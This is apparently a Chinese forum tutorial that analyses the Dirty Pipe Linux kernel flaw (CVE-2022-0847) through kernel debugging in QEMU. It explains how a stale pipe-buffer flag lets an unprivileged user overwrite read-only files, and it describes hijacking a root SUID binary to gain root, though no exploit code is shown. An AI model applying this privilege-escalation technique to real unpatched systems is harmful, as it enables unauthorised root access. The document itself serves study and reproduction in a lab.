-
-
[原创]劫持SUID程序提权彻底理解Dirty_Pipe:从源码解析到内核调试
-
发表于: 2025-4-12 12:25 4196
-
本文主要面向对内核漏洞挖掘与调试没有经验的初学者,结合 CVE-2022-0847——著名的 Dirty Pipe 漏洞,带你从零开始学习 Linux 内核调试、漏洞复现、原理分析与漏洞利用。该漏洞危害极大,并且概念简单明了,无需复杂前置知识即可理解和复现。
文章涵盖以下主要内容:
环境搭建的调试脚本已经上传github:Brinmon/KernelStu
源码下载路径:Index of /pub/linux/kernel/v5.x/
编译教程:kernel pwn从小白到大神(一)-先知社区
检查勾选配置:
构建最小根文件系统(基于BusyBox)
配置磁盘镜像
配置rcS文件:
安装Qemu:
安装pwndbg:
gdb.sh
start.sh
系统调用实现原理
Linux 系统调用是用户空间与内核交互的核心接口,其实现依赖于架构相关的中断机制(如 x86 的int 0x80
或syscall
指令)和系统调用表(sys_call_table
)。每个系统调用通过唯一的系统调用号索引,对应内核中的sys_xxx
函数。例如,open
系统调用在内核中对应fs/open.c
中的sys_open
函数。
添加系统调用号
在linux源码中寻找到这个,手动添加系统调用号!
第一列是系统调用号,第二列表示该系统调用适用的架构类型(如common表示通用架构),第三列是系统调用的名称(在用户空间使用的名称),第四列是内核中对应的系统调用实现函数名。若要添加新的系统调用号,需按照此格式在文件中新增一行,并确保系统调用号的唯一性。
声明系统调用
系统调用的声明通常位于include/linux/syscalls.h文件中。以read系统调用为例,其声明如下:
asmlinkage关键字用于指示编译器该函数是从汇编代码调用的,这在系统调用中很常见,因为系统调用的入口点通常由汇编代码处理。函数声明明确了系统调用的返回类型(这里是long)、参数类型及名称。其中,char __user *
类型表示指向用户空间内存的指针,用于确保内核在访问该指针时进行必要的安全检查,防止内核非法访问用户空间内存。
定义系统调用
系统调用的实现代码位置较为灵活。若不想修改makefile文件的配置,可将系统调用的实现放置在kernel/sys.c文件中。当然,为了更好的代码组织和管理,系统调用号也可分类放置在不同的文件夹中:
1. 核心系统调用目录
**(1) **kernel/
:功能类型:进程管理、信号处理、定时器等核心功能。
**(2) **fs/
:功能类型:文件系统操作、文件读写、目录管理等。
**(3) **mm/
:功能类型:内存管理、映射、堆分配等。
**(4) **net/
:功能类型:网络通信、套接字操作。
**(5) **ipc/
:功能类型:进程间通信(IPC)。
SYSCALL_DEFINE 宏解析,系统调用号实现的具体,SYSCALL_DEFINE
** 宏** 的书写规范与核心规则:
根据这个方法可以找到read系统调用的函数实现:
f_op 结构体原理struct file_operations
(简称f_op
)定义了文件操作的函数指针,如open
、read
、write
等。内核通过file->f_op
调用这些函数,具体实现由文件系统(如 ext4、NFS)或设备驱动提供。
例如,在 ext4 文件系统中,当用户空间执行open操作打开一个文件时,内核会根据该文件对应的file结构体中的f_op指针,找到并调用 ext4 文件系统中定义的open操作函数。这个函数会处理诸如检查文件权限、打开文件描述符等具体操作。在设备驱动场景下,对于块设备驱动,其f_op中的read和write函数会负责与硬件设备进行数据交互,将数据从设备读取到内核缓冲区或从内核缓冲区写入设备。
可以查看一下write的源码实现发现调用了,file->f_op->write_iter
函数但是无法找到其源码实现!
下面结合源码进行讲解。假设我们要分析ext4文件系统中read操作的f_op函数实现。首先,在fs/ext4/file.c文件中,可以找到ext4_file_operations结构体的定义:
这里,.read_iter成员指向了ext4文件系统中read操作的具体实现函数ext4_file_read_iter。当用户空间执行read系统调用时,内核在处理过程中,若涉及到ext4文件系统的文件,就会通过file->f_op->read_iter来调用ext4_file_read_iter函数,从而完成read操作的具体功能,如从磁盘读取数据并填充到用户提供的缓冲区中。
GDB动态调试定位f_op 结构体所使用的函数
定位一下:pipe_buf_confirm函数
在源码下完断点之后,来到该调用的位置,在使用gdb命令就饿可以定位到buf->ops的具体值,从而在源码中定位函数的具体实现!
编译完成内核之后,可借助 AI 工具为内核源码添加代码注释,但需注意不能改变 Linux 源码的结构。由于动态调试时是直接索引到源码,如果改变源码的代码行数或者增加过多文本数量,都会打乱调试时的源码定位。因此,在使用 AI 添加提示词时,应将注释加在每行代码的后面。
常用的提示词,也可以自己优化:
在使用gdb调试源码时,常用的命令如下:
为了让gdb能正确索引到内核源码,需要修改.gdbinit文件添加源码索引。例如:
set disassembly-flavor intel
命令设置gdb的反汇编风格为 Intel 格式,这样在调试时显示的汇编代码更易阅读。
在 Linux 系统中,pipe是一种进程间通信(IPC,Inter-Process Communication)机制。它允许两个或多个进程通过一个共享的缓冲区来传递数据,实现进程之间的通信。从系统调用的角度来看,通过pipe系统调用可以创建一个管道。
在终端中输入man 2 pipe可以查看其详细手册:
当调用pipe系统调用时,它会在内核中创建一个管道对象,并返回两个文件描述符,一个用于写入(通常称为写端,fd[1]
),另一个用于读取(通常称为读端,fd[0]
)。数据从写端写入管道,然后可以从读端读取出来,遵循先进先出(FIFO,First-In-First-Out)的原则。
从内核代码角度看,pipe系统调用的定义如下:
这里的SYSCALL_DEFINE1宏定义了一个接受一个参数的系统调用,该参数fildes是一个指向用户空间数组的指针,用于存储返回的文件描述符。实际的管道创建工作由do_pipe2函数完成:
do_pipe2函数首先调用__do_pipe_flags来创建管道,并获取两个文件描述符。如果创建成功,它会尝试将这两个文件描述符复制到用户空间的fildes数组中。若复制失败,函数会清理已分配的资源并返回错误。
进一步深入内核实现,__do_pipe_flags
函数会调用create_pipe_files,最终调用到get_pipe_inode
函数,该函数负责创建管道的核心数据结构:
可以追踪到系统调用链:do_pipe2->__do_pipe_flags->create_pipe_files->get_pipe_inode
get_pipe_inode函数主要完成以下几个关键步骤:
在Linux内核中,管道(Pipe)通过struct pipe_inode_info
和struct pipe_buffer
两个核心结构体实现进程间通信(IPC)的底层管理。
1. 环形缓冲区与指针管理
在内核实现中,管道缓存空间总长度一般为 65536 字节,以页为单位进行管理,总共 16 页(每页大小为 4096 字节)。这些页面在物理内存中并不连续,而是通过数组进行管理,从而形成一个环形链表。其中,维护着两个关键的指针:
2. 内存页与缓冲区数组
管道数据存储在离散的物理内存页中,通过struct pipe_buffer
数组(bufs
)管理:
管道本质是一个由内核维护的环形缓冲区,通过head
和tail
指针实现高效的数据读写:
可以看一个Pipe缓冲区的实际示意图:
这张图片展示了一个 pipe 的基本数据结构,具体是如何通过循环缓冲区(circular buffer)来管理数据传输。
或者参考一下这个结构图:
当我们使用read和write向pipe进行数据写入和读取的时候,read和write会寻找到pipe_write和pipe_read进行数据写入和读取!
根据前面的管道结构体的讲解可知,pipe_write和pipe_read进行数据操作的时候实际都是对pipe->buf的内容进行写入和读取!
数据写入管道的操作由内核中的pipe_write函数负责。在数据写入过程中,pipe_write会调用copy_page_from_iter函数来完成从用户空间到内核管道缓冲区的实际数据复制。下面对pipe_write函数的执行流程进行详细拆解:
写入流程:数据按页写入bufs[head]
,更新head
指针;若缓冲区满,写进程进入睡眠。
在pipe_write
函数写入数据过程中,获取管道的写指针head,通过head & mask的运算,在pipe->bufs数组中定位当前用于写入的缓冲区buf。这里的mask是根据管道缓冲区总数计算得出的掩码,用于实现环形缓冲区的循环访问。最后调用copy_page_from_iter函数,将用户空间的数据从from迭代器中复制到内核分配的页面中,完成数据写入操作。
写入标记:
可以发现这里当第一次向管道写入数据的时候会将pipe->bufs[i]->flags
字段赋值为PIPE_BUF_FLAG_CAN_MERGE,如果是网络数据通过pipe传输的话就会赋值PIPE_BUF_FLAG_PACKET;
如果想继续在管道写入数据会首先检查buf->flags字段和buf->page是否有剩余空间,再次调用pipe_write可以继续向这个buf->page写入数据!
数据从管道中读取的操作由内核中的pipe_read函数负责。在读取过程中,pipe_read会调用copy_page_to_iter函数来完成从内核管道缓冲区到用户空间的实际数据复制。下面对pipe_read函数的执行流程进行详细拆解:
读取流程:从bufs[tail]
读取数据,更新tail
指针;若缓冲区空,读进程阻塞。
获取管道的读指针tail,通过tail & mask的运算,在pipe->bufs数组中定位当前用于读取的缓冲区buf。再调用copy_page_to_iter函数,将缓冲区buf中的数据从指定偏移量buf->offset开始,复制chars字节到用户空间的目标迭代器to中。最后将缓冲区的偏移量buf->offset向后移动已读取的字节数,减少缓冲区中剩余的有效数据长度buf->len。将读指针tail向后移动一位,并更新管道的读指针pipe->tail。
读取操作的通俗作用:可以将管道的内容读取出来,并且每次读取都可以算作清理管道数据!
Linux内核的Page Cache机制是操作系统中用于提升磁盘I/O性能的核心组件,它通过将磁盘数据缓存在内存中,减少对慢速磁盘的直接访问。以下是对其工作原理和关键特性的详细解释:
读操作
写操作
1. 缓冲写入(Writeback):
当一个文件已经被打开过,那么应用程序的写操作默认修改的是Page Cache中的缓存页,而非直接写入磁盘。
只在特定情况下,内核通过**延迟写入(Deferred Write)策略,将脏页(被修改的页)异步刷回磁盘(由pdflush
或flusher
线程触发)。
优点:合并多次小写入,减少磁盘I/O次数。
风险:系统崩溃可能导致数据丢失(需通过fsync()
或sync()
强制刷盘)。
2. 直写(Writethrough): 某些场景(如要求强一致性)会同步写入磁盘,但性能较低(较少使用)。
相关资料:
传统的文件拷贝过程(open()→read()→write())需要在用户态和内核态之间多次切换,并进行 CPU 和 DMA 之间的数据拷贝,开销较大。而利用 splice 系统调用可以实现内核态内的“零拷贝”,只进行少量的上下文切换,从而极大提高数据传输效率。
传统拷贝: 4次上下文切换、2次 CPU 拷贝、2次 DMA 拷贝
最简单的,就是open()两个文件,然后申请一个buffer,然后使用read()/write()来进行拷贝。但这样效率太低,原因是一对read()和write()涉及到4次上下文切换,2次CPU拷贝,2次DMA拷贝。
splice 零拷贝: 只需2次上下文切换
再dirty_pipe使用splice进行0拷贝的话就可以实现极高的效率,只需要两次上下文切换即可完成拷贝!
为了理解 splice 零拷贝的内部实现,我们可以通过动态调试定位到关键函数 copy_page_to_iter_pipe
。在该函数设置断点,并使用 gdb 查看调用栈,可以看到整个 splice 的调用链条。调用栈大致分为以下几个层次:
可以很快发现整个splice的调用链!
在 SYSCALL_DEFINE6(splice, ...)
中,主要完成文件描述符转换、参数合法性检查,并调用 do_splice
进行实际的数据处理。
根据输入和输出的文件是否与 pipe 相关,选择不同的处理分支:
在 dirty_pipe 漏洞中,重点就在文件 → pipe 的场景,因为利用了 splice 复制过程中对管道内部管理机制的不足,才使得漏洞得以被利用。
该函数验证读取权限,检查长度,之后调用文件操作中实现的 splice_read
。如果文件操作没有自定义该接口,则使用 default_file_splice_read
。
这里的关键是in->f_op->splice_read
,此处调用的 generic_file_splice_read
来从文件中读取页面,并填充到管道中。
也可以通过动态调试来定位in->f_op->splice_read
调用的是什么函数:
如何通过动态调试定位源码:
该函数内部构造了一个 pipe 的迭代器 iov_iter
,然后通过调用 call_read_iter
实际执行数据读取操作。读取成功后会更新文件位置并调用 file_accessed
更新访问时间。
可以发现调用了call_read_iter函数最后也可以通过动态调试定位到函数generic_file_read_iter.
generic_file_read_iter
是所有能够直接利用页缓存的文件系统的通用读取例程。该函数处理直接 I/O 与缓冲读取的场景,确保在非阻塞或阻塞模式下都能正确返回数据或错误码。
在 generic_file_buffered_read
中,内核先通过 find_get_page
查找所需的页面,然后将页面中的数据拷贝到用户提供的缓冲区中。实际的拷贝操作是由 copy_page_to_iter
完成的。
copy_page_to_iter
根据 iov_iter 的类型选择合适的拷贝方式。当数据拷贝的目标是管道时,就调用 copy_page_to_iter_pipe
。
在 copy_page_to_iter_pipe
函数中,关键核心buf->page = page;
,这段代码就是内核完成了将文件的page_cache直接替换掉管道page,实现了0拷贝!
更加详细的了解0拷贝机制:详解CVE-2022-0847 DirtyPipe漏洞 - 华为云开发者联盟 - 博客园
Dirty Pipe 是一个存在于 Linux 内核 5.8 及之后版本 中的本地提权漏洞(CVE-2022-0847)。攻击者可通过覆盖任意可读文件的内容(即使文件权限为只读),将普通用户权限提升至 root 。其原理与经典的 Dirty COW(CVE-2016-5195)漏洞类似,但利用更简单、影响范围更广.
漏洞源于 管道(Pipe)机制与 Page Cache 的交互缺陷 ,具体涉及以下关键点:
1.管道的“零拷贝”特性
当通过 splice 系统调用将文件内容写入管道时,内核会直接将文件的 Page Cache 页面 (内存中的文件缓存页)作为管道的缓冲区页使用,而非复制数据。这一过程通过 copy_page_to_iter_pipe 函数实现
此时,管道缓冲区的 flags
被错误地设置为 PIPE_BUF_FLAG_CAN_MERGE
,允许后续数据合并到该页中。
2.未初始化的标志位漏洞
管道缓冲区的 flags
变量在初始化时未正确重置。当攻击者通过 splice
将文件内容写入管道后,若再次向同一管道写入数据,内核会错误地认为该页是可写的,从而允许覆盖原文件的 Page Cache 页面.
3.Page Cache 的覆盖效果
由于文件的 Page Cache 页面被直接关联到管道缓冲区,攻击者通过向管道写入数据,可覆盖 Page Cache 中的原始文件内容。当其他进程读取该文件时,会直接读取被篡改的缓存页,导致数据被永久修改(即使文件本身权限为只读)
攻击者可通过以下步骤实现提权:
根据漏洞原理及公开分析,Dirty Pipe 的利用存在以下核心限制:
当然这些限制如果结合其他内核利用完全可以绕过这些限制!!!
参考链接:veritas501/pipe-primitive: An exploit primitive in linux kernel inspired by DirtyPipe
测试POC:
构造一下漏洞复现场景,创建一个secret.txt文件只有root权限可以读写,其他用户只可以读
利用poc向这个只读文件进行内容覆盖!可以发现最后成功覆盖了!
POC中尝试将一个只能够的读的文件打开:
在linux内核源码中可以找到open函数的具体实现代码:
可以具体观察一下struct file
,使用gdb在内核源码中下断点:
打下断点可以发现f就是以只读模式打开的文件
这就是该漏洞需要篡改的只读文件,当用户通过open()
系统调用打开文件时,内核会创建struct file
对象,并建立文件的页缓存(page_cache)映射。而这个文件的具体内容就会存放在这个文件结构体下管理的一个page中,同样的当用户通过pipe创建管道时,同样会创建一个page来存储输入管道的内容!
dirty_pipe漏洞最关键的地方就是将一个只读文件的page通过漏洞替换掉普通用户创建的管道的page,从而实现越权对只读文件进行写入!
POC中创建一个管道,返回的管道存放在p中有一个读管道和写管道:
在linux内核源码中可以找到open函数的具体实现代码:
其中关键函数get_pipe_inode()
完成以下操作:
可以具体观察一下struct pipe_inode_info
,使用gdb在内核源码中下断点:
在动态调试情况下查看管道结构体:
struct pipe_inode_info
和struct pipe_buffer
是管道功能的核心管理者,其字段直接控制数据流动、内存分配和进程同步。在dirty_pipe漏洞中,攻击者通过操纵该结构体的缓冲区和页指针,绕过了内核对只读文件的保护机制。理解这一结构体的设计与实现,不仅有助于掌握管道的工作原理,也为分析类似漏洞提供了关键切入点。
POC中调用write和read对管道pipe进行写入和读取操作:
虽然这里调用的是write和read,结合前文提到的,操作pipe管道看上去使用的是write和read,但是他们会自动调用pipe_write和pipe_read来操作管道中的内容!
使用gdb在关键函数打下断点:
动态调试可以定位到,当向pipe写入数据时候,pipe_write会将pipe_buffer结构体的flags字段进行初始化赋值为:
这个标记是dirty_pipe漏洞利用的核心!拥有这个标记后pipe_write向管道输入内容的时候,就会直接在原有的page上进行写入,也就是直接在只读文件中进行越权写入!
这里为pipe_read下个断点可以发现,该函数是通过pipe_inode_info结构体的tail字段来锁定要读取的buf内容的!
这里之所以需要调用这个pipe_read函数是为了清空pipe_write向管道写入的内容,确保splice函数可以在管道中寻找到剩余的空间进行零拷贝!
POC中调用splice将字读文件fd的一个字节拷贝进入管道p[1]
中,从而成功构造出一个可以越权写的page
使用gdb在关键函数打下断点:
可以观察到generic_file_buffered_read获取到只读文件的struct file
结构体!
继续动态调试可以发现:
系统可以通过这个函数来寻找到实际存储文件内容的page:
这个page就是在dirty_pipe漏洞触发时获取只读文件page的源码,可以通过动态调试手动定位一下:
Page Cache的管理依赖于内核中的address_space
结构体,该结构体通过i_pages
字段以稀疏数组(xarray)的形式存储文件的页缓存。每个文件的address_space
对象(通常通过inode->i_mapping
关联)维护了文件所有缓存页的索引,键为文件的页偏移量(pgoff_t
),值为对应的物理页(struct page
)。例如,当进程通过read()
系统调用读取文件偏移量offset
处的数据时,内核会计算对应的页偏移pgoff = offset >> PAGE_SHIFT
,并在i_pages
中查找对应的页。若找到则直接使用,否则触发缺页中断,分配新页并调用文件系统提供的readpage()
方法填充数据。
参考资料:
Linux系统的脏页机制:Linux 深入理解脏页(dirty page)-CSDN博客
open系统调用讲解:Linux文件系统 struct file 结构体解析-CSDN博客
继续调试来到dirty_pipe漏洞的触发点,将只读文件的page直接赋值给buf->page字段,却未将buf->flags字段进行重新初始化为0,而是直接使用了旧的buf->flags值PIPE_BUF_FLAG_CAN_MERGE,导致用户再次调用pipe_write的时候会继续再只读文件的page进行内容修改,从而实现了越权修改内容!
可以很快发现整个splice的调用链!
POC中调用write实际是pipe_write将要覆盖的字符串写入已经被dirty_pipe漏洞替换了page的管道之中,从而实现了越权写入!
使用gdb在关键函数打下断点:
可以发现buf确实是拥有PIPE_BUF_FLAG_CAN_MERGE字段的值,的成功向一个只读文件进行了修改操作!
可以看看具体效果!
一开始./secret.txt的内容是:This is a secret file!
发现如果读写都15次的话,pipe->head和pipe->tail都是15,但是由于pipe->max_usage为16,pipe的buf数量没有被用完!所以调用splice这里进行操作的时候会重新创建一个pipe_buffer buf->page用来存放0拷贝过去的只读文件,buf->flags没有被赋予PIPE_BUF_FLAG_CAN_MERGE标志,所以继续向管道写入的话无法在只读文件的page上面继续写!
提出疑问后直接修改POC进行测试:
发现关键点在:pipe_lock(opipe);这个函数会检测管道是否空闲,否则会一直等待!
找到源码:pipe.c
由于没有空闲的管道空间可以用所以会导致程序一直卡死!
卡死原因 :管道已满且未设置非阻塞标志,wait_for_space会调用pipe_wait等待,导致进程阻塞。
如何判断pipe是否有可用空间?
通过pipe_inode_info的head,tail和max_usage字段来判断是否存在可用空间
所以我们需要解决的问题就是如何让程序认为管道有空闲的空间!通过动态调试确认,只需要调用至少一次pipe_read即可让程序判断管道有可用空间!
可以看看源码:
得出copy_page_to_iter_pipe的缓冲区索引计算方法:
所以如果只写满15次的话,那么调用splice的时候i->head是15的话那么获取到的buf就是&pipe->bufs[0]
,而且splice结束后i->head的值也就变成了16!
再调用pipe_write向管道写入数据的话:
pipe_write的写入逻辑:
那么接着前面的head是16,buf获取到的序号就是&pipe->bufs[15]
,和存放文件page的buf指向不同,所以无法覆盖!
但是如果我们将管道填满16次的话:
漏洞利用成功的时候发现,在copy_page_to_iter_pipe的时候发现这个head值变为了17!
通过计算可以发现copy_page_to_iter_pipe时候的buf和pipe_write的buf是同一个:pipe->buf[0]
,所以可以对文件进行覆写!
可以弄清楚pipe_read的读取方式是通过buf->offest和buf->len来读取buf->page的数据的,即使page里面有完整的内容,由于其余两个字段的限制,所以只能输出一个字节!
在poc中调用splice的时候至少复制一个字节,由于管道的写入机制每次只能向管道后面追加数据,所以被写入管道的第一个字节是无法覆盖的!
参考链接:DirtyPipe(脏管道)提权_脏管道提权-CSDN博客
该程序通过dirty_pipe漏洞劫持拥有root权限的二进制程序,覆盖掉原有程序注入一个恶意的elf文件:
然后调用这个被覆盖掉的二进制程序进行执行,就可以向/tmp/sh注入一个拥有root权限的可执行提权程序!
继续看另一个恶意程序elf_code:
最后执行这个程序就可以成功提权了!
可以修改rcS脚本来构造一个有root权限的程序,用来测试提权:
漏洞公告:
工具与代码:
技术分析:
wget d41K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6r3&6Q4x3X3g2C8k6i4u0F1k6h3I4Q4x3X3g2G2M7X3N6Q4x3V1k6H3N6h3u0Q4x3V1k6D9K9h3&6#2P5q4)9J5c8X3E0W2M7X3&6W2L8q4)9J5c8Y4j5#2i4K6u0W2P5q4)9J5c8X3I4A6L8Y4g2^5i4K6u0V1y4g2)9J5k6e0S2Q4x3X3f1I4i4K6u0W2N6r3q4J5i4K6u0W2k6%4Z5`.
tar -xvf linux-5.8.1.tar.gz
cd linux-5.8.1/
sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev dwarves zstd
#make menuconfig 命令需要依赖库,下面的
sudo apt-get install libncurses5-dev libncursesw5-dev
make menuconfig #图形化配置配置文件
cp .config .config.bak
#避免make 的时候报错,直接将.config内的CONFIG_SYSTEM_TRUSTED_KEYS字段置空不然会报错
sed -i 's/^\(CONFIG_SYSTEM_TRUSTED_KEYS=\).*/\1""/' .config
#还需要给Makefile添加 -0O选项避免编译优化
#最后多核编译就可以了
make -j$(nproc) bzImage
wget d41K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6r3&6Q4x3X3g2C8k6i4u0F1k6h3I4Q4x3X3g2G2M7X3N6Q4x3V1k6H3N6h3u0Q4x3V1k6D9K9h3&6#2P5q4)9J5c8X3E0W2M7X3&6W2L8q4)9J5c8Y4j5#2i4K6u0W2P5q4)9J5c8X3I4A6L8Y4g2^5i4K6u0V1y4g2)9J5k6e0S2Q4x3X3f1I4i4K6u0W2N6r3q4J5i4K6u0W2k6%4Z5`.
tar -xvf linux-5.8.1.tar.gz
cd linux-5.8.1/
sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev dwarves zstd
#make menuconfig 命令需要依赖库,下面的
sudo apt-get install libncurses5-dev libncursesw5-dev
make menuconfig #图形化配置配置文件
cp .config .config.bak
#避免make 的时候报错,直接将.config内的CONFIG_SYSTEM_TRUSTED_KEYS字段置空不然会报错
sed -i 's/^\(CONFIG_SYSTEM_TRUSTED_KEYS=\).*/\1""/' .config
#还需要给Makefile添加 -0O选项避免编译优化
#最后多核编译就可以了
make -j$(nproc) bzImage
wget https:
//busybox
.net
/downloads/busybox-1
.36.0.
tar
.bz2
tar
-xvf busybox-1.36.0.
tar
.bz2
cd
busybox-1.36.0
make
defconfig
make
menuconfig
# 选中 "Build static binary (no shared libs)"
make
-j$(nproc) &&
make
install
wget https:
//busybox
.net
/downloads/busybox-1
.36.0.
tar
.bz2
tar
-xvf busybox-1.36.0.
tar
.bz2
cd
busybox-1.36.0
make
defconfig
make
menuconfig
# 选中 "Build static binary (no shared libs)"
make
-j$(nproc) &&
make
install
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo -e
"\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
# 创建文件并设置权限(root可读写,其他用户只读)
echo
"This is a secret file!"
> /secret.txt
chmod 644 /secret.txt # 644 = rw-r--r--
chown root:root /secret.txt
setsid cttyhack setuidgid 1000 sh
poweroff -d 0 -f
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo -e
"\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
# 创建文件并设置权限(root可读写,其他用户只读)
echo
"This is a secret file!"
> /secret.txt
chmod 644 /secret.txt # 644 = rw-r--r--
chown root:root /secret.txt
setsid cttyhack setuidgid 1000 sh
poweroff -d 0 -f
apt install qemu qemu-utils qemu-kvm virt-manager libvirt-daemon-system libvirt-clients bridge-utils
apt install qemu qemu-utils qemu-kvm virt-manager libvirt-daemon-system libvirt-clients bridge-utils
nix profile install github:pwndbg/pwndbg --extra-experimental-features nix-command --extra-experimental-features flakes
nix profile install github:pwndbg/pwndbg --extra-experimental-features nix-command --extra-experimental-features flakes
pwndbg -q -ex
"target remote localhost:1234"
\
-ex
"add-auto-load-safe-path /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1"
\
-ex
"file /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/vmlinux"
\
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/open.c:1184"
\
#open打开的文件结构体,查看file \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c:882"
\
#pipe创建的管道结构体,查看结构体地址 \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c:536"
\
#pipe_write为管道结构体赋予可以合并标记 \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/mm/filemap.c:1995"
\
#splice获取到的文件结构体,查看file \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/mm/filemap.c:2029"
\
#generic_file_buffered_read获取只读文件的page \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/lib/iov_iter.c:372"
\
#文件结构体的page直接替换了管道结构体的page未重新初始化是否可以续写 \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c:463"
\
#向管道写入数据,发现可以在管道page续写,但是由于该page实际指向了只读文件的实际page,所以可以实现文件越权写 \
-ex
"c"
pwndbg -q -ex
"target remote localhost:1234"
\
-ex
"add-auto-load-safe-path /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1"
\
-ex
"file /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/vmlinux"
\
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/open.c:1184"
\
#open打开的文件结构体,查看file \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c:882"
\
#pipe创建的管道结构体,查看结构体地址 \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c:536"
\
#pipe_write为管道结构体赋予可以合并标记 \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/mm/filemap.c:1995"
\
#splice获取到的文件结构体,查看file \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/mm/filemap.c:2029"
\
#generic_file_buffered_read获取只读文件的page \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/lib/iov_iter.c:372"
\
#文件结构体的page直接替换了管道结构体的page未重新初始化是否可以续写 \
-ex
"b /home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c:463"
\
#向管道写入数据,发现可以在管道page续写,但是由于该page实际指向了只读文件的实际page,所以可以实现文件越权写 \
-ex
"c"
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs_new.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 quiet nokaslr loglevel=7" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs_new.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 quiet nokaslr loglevel=7" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s
arch/x86/entry/syscalls/syscall_64.tbl
arch/x86/entry/syscalls/syscall_64.tbl
0 common read sys_read
0 common read sys_read
asmlinkage
long
sys_read(unsigned
int
fd,
char
__user *buf,
size_t
count);
asmlinkage
long
sys_read(unsigned
int
fd,
char
__user *buf,
size_t
count);
// 使用SYSCALL_DEFINEx宏(x=参数个数),x:参数数量(1~6)
// name:系统调用名称(用户态调用的名称,如 read)。
// 参数书写格式:每个参数需明确类型和变量名。用户空间指针必须标记 __user(如 char __user *, buf)
// 参数名称和参数类型要分别作为宏定义的一个参数!
SYSCALL_DEFINEx(name, type1, arg1, type2, arg2, ...)
{
....
}
// 使用SYSCALL_DEFINEx宏(x=参数个数),x:参数数量(1~6)
// name:系统调用名称(用户态调用的名称,如 read)。
// 参数书写格式:每个参数需明确类型和变量名。用户空间指针必须标记 __user(如 char __user *, buf)
// 参数名称和参数类型要分别作为宏定义的一个参数!
SYSCALL_DEFINEx(name, type1, arg1, type2, arg2, ...)
{
....
}
grep -r "SYSCALL_DEFINE3(read,.*"
grep -r "SYSCALL_DEFINE3(read,.*"
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/ext4/file.c
const
struct
file_operations ext4_file_operations = {
.llseek = ext4_llseek,
.read_iter = ext4_file_read_iter,
.write_iter = ext4_file_write_iter,
.iopoll = iomap_dio_iopoll,
.unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext4_compat_ioctl,
#endif
.mmap = ext4_file_mmap,
.mmap_supported_flags = MAP_SYNC,
.open = ext4_file_open,
.release = ext4_release_file,
.fsync = ext4_sync_file,
.get_unmapped_area = thp_get_unmapped_area,
.splice_read = generic_file_splice_read,
.splice_write = iter_file_splice_write,
.fallocate = ext4_fallocate,
};
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/ext4/file.c
const
struct
file_operations ext4_file_operations = {
.llseek = ext4_llseek,
.read_iter = ext4_file_read_iter,
.write_iter = ext4_file_write_iter,
.iopoll = iomap_dio_iopoll,
.unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext4_compat_ioctl,
#endif
.mmap = ext4_file_mmap,
.mmap_supported_flags = MAP_SYNC,
.open = ext4_file_open,
.release = ext4_release_file,
.fsync = ext4_sync_file,
.get_unmapped_area = thp_get_unmapped_area,
.splice_read = generic_file_splice_read,
.splice_write = iter_file_splice_write,
.fallocate = ext4_fallocate,
};
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c
static
const
struct
pipe_buf_operations anon_pipe_buf_ops = {
.release = anon_pipe_buf_release,
